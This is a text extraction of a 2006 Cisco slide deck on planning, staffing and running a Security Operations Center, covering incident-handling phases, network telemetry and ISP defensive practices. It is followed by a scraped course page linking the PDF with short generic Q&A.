Security Operations Center Common SOC Functions ƒSecurity monitoring for risk management Security incident detection and mitigation ƒ24x7x365 monitoring and mitigation via Security Information Management System (SIMS) data gathering ƒVulnerability Scanning (tactical scanning, targeted scanning and differential scanning) ƒSecurity incident analysis to provide evidence with sniffing/data Forensics ƒIntelligent analysis and correlation on gathered data ƒReal-time and periodic repo rts and audits generation ƒChange management with configuration, patches and such ƒProtection of intellectual pr operty, asset tracking and recovery © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 6SOC – Security Operations Center Benefits ƒReduce disruption to critical services and business processes Reduce Risks and Security Related Downtime Service DisruptionsInformation / Data loss or Manipulation ƒTransition Reactionary Posture to one of Preparedness Use Expertise for Strategy Contribution – Not Response Planned vs. Unplanned budgets / “voodoo economics” of response ƒThreat Control and Prevention Keep pace with evolving threat landscape Assume more Control Fidelity ƒFree up critical network/IT resources ƒMaintain accountability and corporate governance ƒMaintain privacy for employees, partners and customers ƒProvide situational awareness © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 7SOC – Security Operations Center More Benefits ƒNOC/SOC Collaboration Operational and Situational Awareness Reporting Incremental Security Capabilities Integral with NOC Ops Support ƒExpert Reduction in "Signal-to-Noise Ratio." Focus on Key and Truly Critical Issues ƒDefined Correlation Rules and Policies -- Policy Management ƒCentral Audit Log Data Repository -- Correlation of Logs ƒReporting Capability -- Meaningful Reports ƒIncident Response to Events -- 0-day Response Time © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 8SOC – Security Operations Center Agenda 1.Need for SOC 2. Defining SOC Architecture2. Defining SOC Architecture 3.Building SOC Team 4.SOC Deliverables © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 9SOC – Security Operations CenterAsk Questions Before Building SOC ƒIn the face of ever changing threats, how can you ensure that your vital business assets and operations are protected? ƒHow do you guarantee privacy for your employees, partners, vendors and customers? ƒHow do you define & implement security policies? ƒHow do you manage vast amounts of data coming from various technologies that, while standing guard, generate an entire new set of operational support challenges? ƒHow do you maintain accountability and objective corporate governance within the organization? © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 10SOC – Security Operations CenterSecurity Operations Center Management: Incident, Problem, Change ƒReports - Periodic ƒMonitoring SLA Security policy Plan for risk management Establish SLABuild Baseline Process and tools Implement security posture Incident handlingSecurity MonitoringSecurity Monitoring For Risk ManagementƒCompliance audits ƒRisk mitigation ƒImprovement analysis Business AssetsComplexity of Security SolutionsAnalysis and Correlations Security ExpertsSecurity Deliverables Risk MitigationVulnerability AssessmentsReports Real-time and Periodic – Incident, Compliance, SLA ƒPortal with secure access Visibility © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 11SOC – Security Operations CenterSOC Architecture Delivery Analysis and correlation for actionable security incidents ToolsOutsourced SOCJoint SOC OperationsIn-source SOC Outsource In-source ITIL and COBiT based process for consist risk management ProcessesExpert analysis 24x7 risk management Security Experts © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 12SOC – Security Operations Center PREPARATION Prep the network Create tools Test toolsPrep procedures Train team PracticeIDENTIFICATION How do you know about the attack? What tools can you use? What’s your process for communication? CLASSIFICATION What kind of attack is it?TRACEBACK Where is the attack coming from? Where and how is it affecting the network?REACTION What options do you have to remedy? Which option is the best under the circumstances?POST MORTEM What was done? Can anything be done to prevent it? How can it be less painful in the future?Six Phases of Incident Response © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 13SOC – Security Operations Center Agenda 1.Need for SOC 2.Defining SOC Architecture 3. Building SOC Team3. Building SOC Team 4.SOC Deliverables © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 14SOC – Security Operations CenterTypical SOC Requirements ...1 ƒPerform real-time management and monitoring ƒExpert analysis of log data collected ƒImmediate response to potential security threats ƒProvides rapid resolution of security problems ƒOffers real-time view of the organization’s security posture ƒProtects companies technology investments © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 15SOC – Security Operations CenterTypical SOC Communication ... 2 ƒIt is imperative that an SOC teams prepare information essential for timely response Contacts for all interconnecting ISPs (peers, vendors, customers, and upstreams) Contacts for all vendor’s pro duct security reaction teams and response accountable parties Document policies to define levels of support for your customers, classification of att acks, traceback of the attacks, determine response methods (w ill you drop the attacks on your infrastructure?) ƒEnsure you have all critical E-mail, phones, pagers, and web pages complete ƒEnsure you have procedures in place to answer questions and communicate © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 16SOC – Security Operations Center SOC Team Skill Requirements ƒSOC Team needs to know …. Everything a SP’s Backbone Engineer knows Everything a SP’s Network Management Engineers knows Everything a SP’s Hosting/Content Engineer knows Everything a SP’s Postmaster knows Everything a SP’s DNS/DHCP/Addressing Engineer knowsEverything a CERT Engineer knows Everything a Enterprise Security Engineer knows ƒIn essence – you are looking for super engineers who are a hybrid SP Backbone and Security Engineer © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 17SOC – Security Operations Center Tips on Hiring SOC Team Talent ƒHire experienced, certified people ƒDocument and verify processes ƒMaintain latest infrastructure information ƒEstablish SLAs with customers and peers ƒTest the continuity of operations regularly ƒMaintain vendor support contracts ƒLeverage analysis tools ƒCreate incentives for analyst development ƒPlan and prepare for incident response ƒEvaluate and measure for process improvement © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 18SOC – Security Operations CenterSP’s OPSEC Team—Separate? ƒTraditionally, the security, InfoSec, or Information Assurance (IA) team has been totally separate from the network/systems operations organization. The BCP in the industry to insure audit separation. Audit gains has the conseque nce of in-efficient working relationship with the operations organization. ƒWith today’s DDOS attacks, BOTnets, and Turbo Worms, separation and poor working relationships bog down the resolution time – impacting the services to the customers. © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 19SOC – Security Operations CenterSP’s/ISP’s SOC Team and INFOSEC Team ƒSome SPs have adopted the model of two teams: OPSEC integrated into network/system operations InfoSec in a separate reporting chain ƒOPSEC team is tactical—Taking care of the daily security incidents ƒINFOSEC team is strategic—Working on long term solutions, audits, and other items that are not time critical © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 20SOC – Security Operations CenterAn SP’s Incident Response Team ƒSPs need an Incident Response Team ƒThe SP’s Incident Response Team can be from one person to many people – depending on the size of the ISP. Dedicated TeamVirtual Team ƒUsually connected to the SP’s NOC/SOC © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 21SOC – Security Operations Center Team and Network Preparation Assessment SOC team must be able to answer the following: ƒAre these traffic patterns normal for our network? ƒWhat is using up all of our bandwidth? ƒAngry customers are calling - what happened? ƒWhy can’t we reach that server, network or AS? ƒHas another provider hijacked our routers? ƒShould we buy more transit or peer directly? ƒShould we change these BGP attributes or policies? © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 22SOC – Security Operations Center SOC Team Communication Strategy Q. Do you have the NOC and Security Contacts for every ISP you are peered? Q. Do you test the contact information every month (E-mail, Phone, Pager)? Q. Have you agreed on the format for the information you will exchange? Q. Do you have a customer security policy so your customers know what to expect from your Security Team?Q. Do you have the NOC and Security Contacts for every ISP you are peered? Q. Do you test the contact information every month (E-mail, Phone, Pager)? Q. Have you agreed on the format for the information you will exchange? Q. Do you have a customer security policy so your customers know what to expect from your Security Team? © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 23SOC – Security Operations Center Agenda 1.Need for SOC 2.Defining SOC Architecture 3.Building SOC Team 4. SOC Deliverables4. SOC Deliverables © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 24SOC – Security Operations CenterWhat Do the SOC Deliverables Provide? ƒIncrease Collective Visibility Pulling Data from Variety of Sources Aggregation of Data for furt her Analysis & Historic Record ƒExpedite Correlation Capabilities Ability to Respond Quickly; relatively real-time Device and System CoverageForensic Capabilities ƒEnable and Plan Timely Action Reduction of Incident Impact on Business Resulting Improvement to Service Availability / Assurance © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 25SOC – Security Operations CenterTypical Actions of SOC ƒPerforms real-time management and monitoring of firewalls, intrusion detection systems, intrusion prevention systems, virtual private networks, patch management, asset management and other security products ƒEnhances the institution's in formation security posture through continuous monitoring and management, expert analysis of log data, and imme diate response to potential security threats ƒProvides rapid resolution of security problems ƒOffers real-time view of the organization’s security posture ƒEnsure optimal protection of mission-critical assets by providing analysis and comme ntary needed to adjust defenses against emerging attacks ƒProtects companies technology investments © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 26SOC – Security Operations CenterSOC Deliverables ƒSecurity Monitoring for Risk Management ƒSecurity Posture Risk Analysis ƒSecure Role-based Portal Access Real-time monitoring and status of incidents / tickets ƒReports Security Policy Reports Security Incident Reports Real-time on per incident basis as well as weekly / monthlyInformation Required to Prepare Compliance Related Audit Service Level Agreement Reports Monitoring for Security Policy Compliance Trends of security incidents and eventsService Compliance Report to Evaluate © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 27SOC – Security Operations CenterIncident Handling Basics What to Report What to Report ƒConfirmed / Suspected Security Incident or Intrusions ƒDenial of Service Attacks ƒMalicious Logic / Mobile Code / Viruses ƒNetwork Probes / Scans ƒAttempts to Obtain Passwords ƒOther Suspicious Behavior / Anomalies © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 28SOC – Security Operations CenterIncident Handling Basics Incident Report Contents Incident Report Contents ƒIncident Date / Time (UTC) ƒSystem Information (Location, IP, etc.) ƒHow the Attack was Identified ƒAttack Success Evaluation ƒAttack Impact ƒCorrective Actions Attempted ƒPoints of Content © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 29SOC – Security Operations CenterSummary © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 30SOC – Security Operations CenterIncident Handling Terms ƒTechnical Vulnerability ƒAdministrative Vulnerability ƒEvent ƒIncident © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 31SOC – Security Operations CenterIncident Handling Terms Technical Vulnerability : A hardware, firmware, or so ftware weakness or design deficiency that leaves a system ope n to potential exploitation, either externally or internally, resulting in the risk of compromise of information, alte ration of information or denial of service Administrative Vulnerability : A security weakness caused by incorrect or inadequate implementation of a system’s existing security features. Practitioner’s Tip : Proactively Seek Out and Eliminate Administrative Vulnerabilities to Minimize Your Risk © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 32SOC – Security Operations CenterIncident Handling Terms Event : Unexpected behavior by a system that yields abnormal results or indicates unauthorized use or access, unexplained outages, denial of service, or presence of a virus Incident: An attempt to exploit a computer network or system such that the actual or potential adverse effects may involve fraud, waste or abuse; compromise of in formation; loss or damage of property or information, or de nial of service. Incidents may also include: Penetration of a System Exploitation / Attempted ExploitationMalicious Mobile Code / VirusesViolations of State, US, or International Law © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 33SOC – Security Operations Center © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 34SOC – Security Operations Center Agenda - Extras 1. DShield1. DShield 2.What Data to Collect 3.Incident Handling Basics 4.SP’s Top Ten Security Checklist © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 35SOC – Security Operations CenterDSHIELD Data Collection DShield UsersAnalysis Dissemination DShield.org © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 36SOC – Security Operations Center © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 37SOC – Security Operations Center Pop-up ads (Spam)FTP attempts Pop-Up Ads (Spam)FTP AttemptsTypical Residential Cable Modem Log © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 38SOC – Security Operations CenterFeatures provided by DShield ƒTop 10 Most Wanted : Top 10 offenders according to the DShield database. ƒAre you cracked ? : If your IP address appeared in DShield’s database, it would be a strong indicator that your machine was possibly cracked and is accessing other machines in a manner that their firewalls log as hostile. ƒFight Back Program © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 39SOC – Security Operations CenterData Collection and Analysis ƒDShield provides a platform for users of firewalls to share intrusion information. ƒSubmit logs and reports Ready to go client programs Web Interface to manually s ubmit your firewall logs. © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 40SOC – Security Operations CenterReports and Database ƒTop 10 offenders (as of 09/25/2005) © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 41SOC – Security Operations CenterReports and Database ƒTop 10 Target Ports (as of 09/25/2005) © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 42SOC – Security Operations Center © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 43SOC – Security Operations Center Why notify victims?Why notify victims? Recently, myNetWatchman detected an incident in which a host was infected with the Microsoft SQL Spida Worm. A backtrace of the offending IP yielded so me interesting results… % This is the RIP E Whois server. % The objects are in RPSL format. % Please visit http://www.ripe. net/rpsl for m ore information. % Rights restrict ed by copyright. % See http://www.ripe .net/ripencc/pub-serv ices/db/copyright.html inetnum: 194.1 90.139.0 - 194.190.139.255 netname: GAN descr: Central Region of GAN RF country: RUadmin-c: AV753-RIPEtech-c: AV753-RIPEstatus: ASSIGNED PAnotify: sam@gan.ru notify: ip-reg@ripn.net mnt-by: ROSNIIROS-MNTchanged: ip- dbm@ripn.net 19991018 source: RIPE Slide by Lawrence Baldwin & Jaeson Schultz © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 44SOC – Security Operations Center GAN=The Nuclear Safety Authority of RussiaGAN=The Nuclear Safety Authority of Russia "Federal supervision of Russia on nuclear and radiating safety (Gosatomnadzor of Russia) as the federal enforcement auth ority, organizes and carries out state regulation of safety at use of an atom ic energy, nuclear materials, radioactive substances and products on their basis in the peace and defensive purposes (except for regulation of the activity connected to development, manufacturing, test, operation of the nuclear weapon and nuclear power installations of military purpose(assignment)). " Slide by Lawrence Baldwin & Jaeson Schultz © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 45SOC – Security Operations Center Agenda - Extras 1.Dshield 2. What Data to Collect2. What Data to Collect 3.Incident Handling Basics 4.SP’s Top Ten Security Checklist © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 46SOC – Security Operations Center Now, Let’s Examine What You’ll Collect ƒSyslog ƒSNMP ƒRMON ƒNetflow © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 47SOC – Security Operations CenterSyslog ƒSyslog output can become overwhelming Open source databases (MySQL, PostGres) are often used to store syslog output for postprocessing and searching ƒFacility numbers are the key to organizing syslog output on a syslog server Facility Level 7 Is Default for Cisco ƒThe level of logging detail is important Default level=6 (informational) - this can generate a lotof output. © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 48SOC – Security Operations CenterSyslog (cont). ƒRouter Access Control List (ACL) Generates a lot of information in a short span of time Has a negative impact on performance. Consider Netflow as an alternative. Pix and FWSM are more efficient for logging. ƒCisco’s CS-MARS takes syslog input from routers, switches, firewalls, IDS, VPN concentrators and combines it with other forms of telemetry in order to provide anomaly-detection and event correlation. © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 49SOC – Security Operations CenterSNMP ƒRouters generate Simple Networ k Management Protocol (SNMP) traps when various events take place. ƒSNMP statistics can be polled from routers, switches, and other network devices. ƒTools: NET-SNMP MRTG Cricket RRDToolNagiosArbor PeakFlow DoS Cisco CS-MARS © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 50SOC – Security Operations CenterSNMP - High CPU ƒSpikes in CPU load on routers, switches, servers, and other devices is often an indication that an event is taking place. ƒHigh CPU is notalways an indicator of malicious activity. Trending is important! ƒCorrelating CPU utilization with other information such as network traffic statistics, routing-table changes, etc., is very useful. ƒA baseline of CPU utilization over time is a good idea from a network management standpoint, and also allows us to determine if further investigation is warranted. © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 51SOC – Security Operations CenterRMON ƒProbes should be placed at key points within the infrastructure ƒRMON Group 1 and 2 Provide Visibility ƒTools: Cisco NAM-2 for the 6500/7600 On-board RMON statistics through a Web GUI Reporting to a central RMON console Packet capture and entry-level NetFlow statistics display NTOP Open SourceDisplays RMON statistics via Web Server © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 52SOC – Security Operations CenterNetFlow ƒShould typically be enabled on all router interfaces where possible ƒUseful for on-box troubleshooting via CLI as well as for export to analysis systems ƒIngress and egress NetFlow are now supported. ƒ1:1 NetFlow is useful for troubleshooting, forensics, traffic analysis, and behavioral/relational anomaly-detection ƒSampled NetFlow is useful for traffic analysis and behavioral/relational anomaly-detection. ƒSubinterface telemetry is supported using ip flow ingress and ip flow egress commands (supersede ip route cache flow). © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 53SOC – Security Operations CenterNetFlow v9 Export Packet Format ƒMatching ID #s is the way to asso ciate Template to the Data Records ƒThe Header follows the same format as prior NetFlow versions so Collectors will be backward compatible ƒEach Data Record represents one flow ƒIf exported flows have t he same fields then they can be contained in the same Te mplate Record e.g. unicast traffic can be co mbined with multicast records ƒIf exported flows have different fields then they can’t be contained in the same Template Record e.g. BGP next- hop can’t be combined with MPLS Aware NetFlow recordsData FlowSet Template FlowSetOption Template FlowSetFlowSet ID #1Data FlowSet FlowSet ID #2 Template ID (specific Field types and lengths)(version, # packets, sequence #, Source ID )Flows from Interface AFlows from Interface BTo support technologies such as MPLS or Multicast, th is export format can be leveraged to easily insert new fields Option Data FlowSet FlowSet ID Option Data Record (Field values)Option Data Record (Field values)Template Record Template ID #2 (specific Field types and lengths)Template Record Template ID #1 (specific Field types and lengths)Data Record (Field values)Data Record (Field values)Data Record (Field values) © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 54SOC – Security Operations CenterExample - SQL Slammer © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 55SOC – Security Operations CenterSummary ƒThe Network Management Network transports telemetry for further analysis by the back office ƒTelemetry is used to baseline expected behavior ƒTelemetry comes in many flavors: Syslog SNMPRMONNetflow Insert Your URL Here.com © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 56SOC – Security Operations Center Agenda - Extras 1.Dshield 2.What Data to Collect 3. Incident Handling Basics3. Incident Handling Basics 4.SP Top Ten Security Checklist © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 57SOC – Security Operations CenterIncident Handling Terms ƒTechnical Vulnerability ƒAdministrative Vulnerability ƒEvent ƒIncident © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 58SOC – Security Operations CenterIncident Handling Terms Technical Vulnerability : A hardware, firmware, or software weakness or design deficiency that leaves a system open to potential exploitation, either externally or internally, resulting in the risk of compromise of information, alteration of information or denial of service Administrative Vulnerability : A security weakness caused by incorrect or inadequate implementation of a system’s existing security features. Practitioner's TipPractitioner's Tip : Proactively Seek Out and Eliminate : Proactively Seek Out and Eliminate Administrative Vulnerabilities to Minimize Your RiskAdministrative Vulnerabilities to Minimize Your Risk © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 59SOC – Security Operations CenterIncident Handling Terms Event : Unexpected behavior by a system that yields abnormal results or indicates unauthorized use or access, unexplained outages, denial of service, or presence of a virus Incident: An attempt to exploit a computer network or system such that the actual or potential adverse effects may involve fraud, waste or abuse; compromise of information; loss or damage of property or information, or denial of service. Incidents may also include: ƒPenetration of a System ƒExploitation / Attempted Exploitation ƒMalicious Mobile Code / Viruses ƒViolations of State, US, or International Law © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 60SOC – Security Operations CenterIncident Handling Basics Prepare Prepare Identify (Detection) Identify (Detection) Contain Contain Eradicate Eradicate Recover Recover Follow-Up Follow-Up www.sans.org Practitioner's TipPractitioner's Tip : Proactive Preparation Reduces the Cost : Proactive Preparation Reduces the Cost of Each Incident of Each Incident ----Practice Early and Often!Practice Early and Often! © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 61SOC – Security Operations CenterIncident Handling Basics Prepare Prepare ƒDevelop Policies & Practices ƒDevelop Incident Reporting Guidelines ƒEmploy Sound Defensive Principles ƒDevelop a Suite of Tools ƒUnderstand the Network ƒTrain Your People Practitioner's TipPractitioner's Tip : Practicing Response Procedures : Practicing Response Procedures (Including Management) Proactively Enhances Response(Including Management) Proactively Enhances Response © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 62SOC – Security Operations CenterIncident Handling Basics Identify (Detection) Identify (Detection) ƒEarly Detection is the Key! ƒUse Your (Human) Sensors Well ƒRule Out the Obvious Errors ƒReport Early / Report Often Practitioner's TipPractitioner's Tip : Attempt to Understand What is : Attempt to Understand What is Happening, but DonHappening, but Don ’’t Try to Solve the Problem Yet!t Try to Solve the Problem Yet! © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 63SOC – Security Operations CenterIncident Handling Basics Contain Contain ƒPrevent the Spread of Compromise Reduce / Remove Network Connectivity Backup Critical SystemsReset Passwords ƒBuild Go-Forward Plans Prior to Acting ƒContinue to Coordinate Internally & Externally Practitioner's TipPractitioner's Tip : : ““Go Slow to Be QuickGo Slow to Be Quick ”” © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 64SOC – Security Operations CenterIncident Handling Basics Eradicate Eradicate ƒEliminate the Root Ca use of the Incident Make Sure You Know the Root Cause First! Ensure all Evidence is Collected Prior to Eradication ƒEliminate the Immediate Point of Vulnerability ƒImprove Overall Defenses in the Enterprise Practitioner's TipPractitioner's Tip : Avoid the Temptation to Treat the : Avoid the Temptation to Treat the Symptoms, as it Prolongs Your Vulnerability & ExposureSymptoms, as it Prolongs Your Vulnerability & Exposure © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 65SOC – Security Operations CenterIncident Handling Basics Recover Recover ƒRestore from (Trusted) Backup ƒDeploy Additional Countermeasures / Controls ƒCalculate Costs / Im pacts of Incident ƒTransition Evidence to Legal Team ƒComplete Incident Report Practitioner's TipPractitioner's Tip : Validate all Backups, Systems, Patches, : Validate all Backups, Systems, Patches, etc. Prior to Deployment in a Production Environment!etc. Prior to Deployment in a Production Environment! © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 66SOC – Security Operations CenterIncident Handling Basics Practitioner's TipPractitioner's Tip : Employ a Cyclical Process, as Attacks : Employ a Cyclical Process, as Attacks Continually EvolveContinually Evolve ……and Exploit Known Vulnerabilities!and Exploit Known Vulnerabilities!Follow Up Follow Up ƒReview / Communicate Incident Report ƒUpdate User Awareness Training ƒEvaluate Readiness Enterprise Wide ƒReview / Update Security Controls ƒDetermine any HR / Legal Course of Action © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 67SOC – Security Operations CenterIncident Handling Basics What to Report What to Report ƒConfirmed / Suspected Intrusions ƒDenial of Service Attacks ƒMalicious Logic / Mobile Code / Viruses ƒNetwork Probes / Scans ƒAttempts to Obtain Passwords ƒOther Suspicious Behavior / Anomalies © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 68SOC – Security Operations CenterIncident Handling Basics Incident Report Contents Incident Report Contents ƒIncident Date / Time (UTC) ƒSystem Information (Location, IP, etc.) ƒHow the Attack was Identified ƒAttack Success Evaluation ƒAttack Impact ƒCorrective Actions Attempted ƒPoints of Content © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 69SOC – Security Operations CenterIncident Handling Basics Prepare Prepare Identify (Detection) Identify (Detection) Contain Contain Eradicate Eradicate Recover Recover Follow-Up Follow-Up www.sans.org Practitioner's TipPractitioner's Tip : Proactive Preparation Reduces the Cost : Proactive Preparation Reduces the Cost of Each Incident of Each Incident ----Practice Early and Often!Practice Early and Often! © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 70SOC – Security Operations Center Agenda - Extras 1.Dshield 2.What Data to Collect 3.Incident Handling Basics 4. SP’s Top Ten Security Checklist4. SP’s Top Ten Security Checklist © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 71SOC – Security Operations CenterTop Ten List of things that Work 1. Prepare your NOC 2. Mitigation Communities 3. iNOC-DBA Hotline 4. Point Protection on Every Device 5. Edge Protection 6. Remote triggered black hole filtering 7. Sink holes 8. Source address validation on all customer traffic 9. Control Plane Protection 10. Total Visibility (Data Harvesting – Data Mining) © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 72SOC – Security Operations CenterPREPARATION Prep the network Create tools Test toolsPrep procedures Train team PracticeIDENTIFICATION How do you know about the attack? What tools can you use? What’s your process for communication? CLASSIFICATION What kind of attack is it?TRACEBACK Where is the attack coming from? Where and how is it affecting the network?REACTION What options do you have to remedy? Which option is the best under the circumstances?POST MORTEM What was done? Can anything be done to prevent it? How can it be less painful in the future?SP Security in the NOC - Prepare © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 73SOC – Security Operations Center National Cyber TeamsAggressive Collaboration NSP-SEC NSP-SEC-BR NSP-SEC-KR NSP-SEC-JP FIRST/CERT TeamsNext NSP-SEC-D Drone-Armies NSP-SEC-CN Next NSP-SEC-TW Next FUN-SEC Telecoms ISAC Other ISACs MWP Hijacked DSHIELD iNOC-DBA Note: We are not trying to illustrate actual inter-relational or interactive connections between the different communities. Note: We are not trying to illustrate actual inter-relational or interactive connections between the different communities. MyNetWatchman Internet Storm Center SANS © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 74SOC – Security Operations CenteriNOC DBA Hotline ƒINOC-DBA: Inter-NOC Dial-By-ASN ƒThe iNOC Hotline was used to get directly to their peers. ƒNumbering system based on the Internet: ASnumber:phone 109:100 is Barry’s house. ƒSIP Based VoIP system, managed by www.pch.net , and sponsored by Cisco. © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 75SOC – Security Operations CenterNOC ISP’s BackbonePoint Protection Remote Staff Office Staff Penetration Interception PenetrationPenetration InterceptionInterceptionDOS AAA © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 76SOC – Security Operations Center“outside” “outside”CoreEdge Protection ƒCore routers individually secured PLUS ƒInfrastructure protection ƒRouters generally NOT accessible from outside telnetsnmp © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 77SOC – Security Operations CenterDestination Based RTBH NOCA BCD E FGiBGP Advertises List of Black Holed PrefixesTargetTargetPeer BPeer AIXP-W IXP-E Upstream AUpstream A Upstream BUpstream BUpstream BUpstream B POPUpstream AUpstream A © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 78SOC – Security Operations CenterSink Holes Peer BPeer A IXP-W IXP-E Upstream AUpstream AUpstream AUpstream A Upstream BUpstream BUpstream BUpstream B POPCustomerCustomer Primary DNS Servers171.68.19.0/24 171.68.19.1Services NetworkRemote Triggered Sink Hole Garbage packets flow to the closest Sink HoleRemote Triggered Sink Hole Remote Triggered Sink Hole Remote Triggered Sink HoleRemote Triggered Sink HoleRemote Triggered Sink Hole Remote Triggered Sink HoleRemote Triggered Sink Hole © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 79SOC – Security Operations CenterBCP 38 Ingress Packet Filtering InternetISP’s Customer Allocation Block: 96.0.0.0/19 BCP 38 Filter = Allow only source addresses from the customer’s 96.0.X.X/24 96.0.20.0/24 96.0.21.0/24 96.0.19.0/24 96.0.18.0/24 BCP 38 Filter Applied on Downstream Aggregation and NAS RoutersISP • Static access list on the edge of the network • Dynamic access list with AAA profiles•U n i c a s t R P F• Cable Source Verify (MAC & IP)• Packet Cable Multimedia (PCMM)• IP Source Verify (MAC & IP)• Static access list on the edge of the network • Dynamic access list with AAA profiles•U n i c a s t R P F• Cable Source Verify (MAC & IP)• Packet Cable Multimedia (PCMM)• IP Source Verify (MAC & IP) © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 80SOC – Security Operations CenterWhere to Prefix Filter? AS 200AS 400 D CE M AS 100AS 300 CustomerAS 500 NX AW BEgress Filter Prefixes to Internet; Ingress Filters Coming from Internet Customer Filters In and OutIngress Filter Customer’s Prefixes © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 81SOC – Security Operations CenterSource: http://people.ee.ethz.ch/~ oetiker/webtools/rrdtool/ Total Visibility Anomaly for DNS Queries Thru’put Spike RTT Spike Investigate the spike An identified cause of the outage © 2006 Cisco Systems, Inc. All rights reserved. Cisco Confidential 82SOC – Security Operations CenterWhat Really needs to be Done ƒConsensus, Desire, but still in work Core Hiding Removed Coupled State Protection on Critical Infrastructure. Architectural Approaches to SecurityRe-Coloring (TOS/DSCP) at the EdgeMethodologies for effective SP oriented Risk Assessments. ƒWorking, but no Consensus Common Services Ingress/Egress Port Bl ocking – (port 25, 53, 135, 139, 445) DNS Poisoning --- ## Source: https://montance.com/questions.php?id=90 [![pdf](content/images/icons/pdf.svg) Cisco - How to Build SOC.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgTUY3bDBIcnIzUkk/view?usp=sharing) Cisco How To Build SOC Cisco's guide to the people, process, and technology of building a SOC. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the first step in building a SOC? A: Define the Mission and Scope. * Q: What are the three pillars? A: People, Process, Technology. * Q: What is 'Tier 1'? A: Triage and basic investigation. * Q: What is 'Tier 2'? A: Deep analysis and incident response. * Q: What is 'Tier 3'? A: Advanced threat hunting and forensics. * Q: What is a 'Playbook'? A: Standardized procedures for incidents. * Q: What is 'SIEM'? A: The core technology for aggregation. * Q: What is 'Use Case Development'? A: Creating rules to detect threats. * Q: What is 'Shift Work'? A: 24x7 staffing rotations. * Q: What is 'Metrics'? A: Measuring SOC performance. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgQ09CbG5WelAtQ2s/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgQ09CbG5WelAtQ2s/view?usp=sharing]** I N F O 